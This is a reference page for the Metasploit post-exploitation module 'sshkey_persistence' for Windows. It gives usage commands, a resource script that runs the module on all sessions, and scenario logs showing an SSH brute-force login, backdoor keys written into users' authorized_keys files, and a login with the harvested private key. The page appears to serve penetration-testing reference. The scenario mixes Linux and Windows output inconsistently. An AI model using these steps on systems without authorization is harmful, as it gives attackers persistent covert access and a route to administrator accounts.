SSH Key Persistence - Metasploit
This page contains detailed information about how to use the post/windows/manage/sshkey_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SSH Key Persistence
Module: post/windows/manage/sshkey_persistence
Source code: modules/post/windows/manage/sshkey_persistence.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will add an SSH key to a specified user (or all), to allow remote login via SSH at any time.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/manage/sshkey_persistence
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/manage/sshkey_persistence
msf post(sshkey_persistence) > show options
... show and set options ...
msf post(sshkey_persistence) > set SESSION session-id
msf post(sshkey_persistence) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/manage/sshkey_persistence")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time.
Creating A Testing Environment
This module has been tested against:
- Windows 10, 1903
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do:
use post/windows/manage/sshkey_persistence
- Do:
set session #
- Optional Do:
set USERNAME
- Optional Do:
set SSHD_CONFIG
- Do:
run
Options
SSHD_CONFIG
Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to .ssh/authorized_keys
USERNAME
If set, we only write our key to this user. If not, we'll write to all users
PUBKEY
A public key to use. If not provided, a pub/priv key pair is generated automatically
ADMIN_KEY_FILE
Location of public keys for Administrator level accounts
ADMIN
Add public keys for gaining access to Administrator level accounts
EDIT_CONFIG
Allow the module to edit the sshd_config to enable public key authentication
Scenarios
Get initial access
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'tiki:tiki' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),
46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic
#37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:38886 -> 192.168.2.190:22) at 2016-06-19 09:52:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Use the post module to write the ssh key
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set SESSION 1
SESSION => 1
msf post(sshkey_persistence) > set CREATESSHFOLDER true
CreateSSHFolder => true
msf5 post(windows/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[+] Storing new private key as /Users/dwelch/.msf4/loot/20200205161837_default_172.16.128.153_id_rsa_706898.txt
[*] Adding key to C:\Users\Dean Welch\.ssh\authorized_keys
[+] Key Added
[*] Adding key to C:\Users\testAccount\.ssh\authorized_keys
[+] Key Added
[*] Post module execution completed
Verify our access works
ssh -i /Users/dwelch/.msf4/loot/20200205153101_default_172.16.128.153_id_rsa_457054.txt [email protected]
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
testaccount@DESKTOP-V8L6UUD C:\Users\testAccount>
Go back to menu.
Msfconsole Usage
Here is how the windows/manage/sshkey_persistence post exploitation module looks in the msfconsole:
msf6 > use post/windows/manage/sshkey_persistence
msf6 post(windows/manage/sshkey_persistence) > show info
Name: SSH Key Persistence
Module: post/windows/manage/sshkey_persistence
Platform: Windows
Arch:
Rank: Good
Provided by:
Dean Welch <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ADMIN false yes Add keys for administrator accounts
ADMIN_KEY_FILE C:\ProgramData\ssh\administrators_authorized_keys yes Admin key file
CREATESSHFOLDER false yes If no .ssh folder is found, create it for a user
EDIT_CONFIG false yes Edit ssh config to allow public key authentication
PUBKEY no Public Key File to use. (Default: Create a new one)
SESSION yes The session to run this module on.
SSHD_CONFIG C:\ProgramData\ssh\sshd_config yes sshd_config file
USERNAME no User to add SSH key to (Default: all users on box)
Description:
This module will add an SSH key to a specified user (or all), to
allow remote login via SSH at any time.
Module Options
This is a complete list of options available in the windows/manage/sshkey_persistence post exploitation module:
msf6 post(windows/manage/sshkey_persistence) > show options
Module options (post/windows/manage/sshkey_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMIN false yes Add keys for administrator accounts
ADMIN_KEY_FILE C:\ProgramData\ssh\administrators_authorized_keys yes Admin key file
CREATESSHFOLDER false yes If no .ssh folder is found, create it for a user
EDIT_CONFIG false yes Edit ssh config to allow public key authentication
PUBKEY no Public Key File to use. (Default: Create a new one)
SESSION yes The session to run this module on.
SSHD_CONFIG C:\ProgramData\ssh\sshd_config yes sshd_config file
USERNAME no User to add SSH key to (Default: all users on box)
Advanced Options
Here is a complete list of advanced options supported by the windows/manage/sshkey_persistence post exploitation module:
msf6 post(windows/manage/sshkey_persistence) > show advanced
Module advanced options (post/windows/manage/sshkey_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/manage/sshkey_persistence module can do:
msf6 post(windows/manage/sshkey_persistence) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/manage/sshkey_persistence post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/manage/sshkey_persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Pubkey Authentication disabled
Here is a relevant code snippet related to the "Pubkey Authentication disabled" error message:
99: end
100:
101: def pub_key_auth_allowed?(sshd_config)
102: /^PubkeyAuthentication[\s]+(?<pub_key>yes|no)/ =~ sshd_config
103: if pub_key && pub_key == 'no'
104: print_error('Pubkey Authentication disabled')
105: elsif pub_key
106: vprint_good("Pubkey set to #{pub_key}")
107: end
108: end
109:
Go back to menu.
Related Pull Requests
- #12990 Merged Pull Request: Add rubocop rules to consistently format modules
- #12915 Merged Pull Request: Add windows ssh persistence
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/manage/add_user
- post/windows/manage/archmigrate
- post/windows/manage/change_password
- post/windows/manage/clone_proxy_settings
- post/windows/manage/delete_user
- post/windows/manage/dell_memory_protect
- post/windows/manage/download_exec
- post/windows/manage/driver_loader
- post/windows/manage/enable_rdp
- post/windows/manage/enable_support_account
- post/windows/manage/exec_powershell
- post/windows/manage/execute_dotnet_assembly
- post/windows/manage/forward_pageant
- post/windows/manage/hashcarve
- post/windows/manage/ie_proxypac
- post/windows/manage/inject_ca
- post/windows/manage/inject_host
- post/windows/manage/install_python
- post/windows/manage/install_ssh
- post/windows/manage/killav
- post/windows/manage/migrate
- post/windows/manage/mssql_local_auth_bypass
- post/windows/manage/multi_meterpreter_inject
- post/windows/manage/nbd_server
- post/windows/manage/peinjector
- post/windows/manage/persistence_exe
- post/windows/manage/portproxy
- post/windows/manage/pptp_tunnel
- post/windows/manage/priv_migrate
- post/windows/manage/pxeexploit
- post/windows/manage/reflective_dll_inject
- post/windows/manage/remove_ca
- post/windows/manage/remove_host
- post/windows/manage/rid_hijack
- post/windows/manage/rollback_defender_signatures
- post/windows/manage/rpcapd_start
- post/windows/manage/run_as
- post/windows/manage/run_as_psh
- post/windows/manage/sdel
- post/windows/manage/shellcode_inject
- post/windows/manage/sticky_keys
- post/windows/manage/vmdk_mount
- post/windows/manage/vss
- post/windows/manage/vss_create
- post/windows/manage/vss_list
- post/windows/manage/vss_mount
- post/windows/manage/vss_set_storage
- post/windows/manage/vss_storage
- post/windows/manage/wdigest_caching
- post/windows/manage/webcam
Authors
- Dean Welch <dean_welch[at]rapid7.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.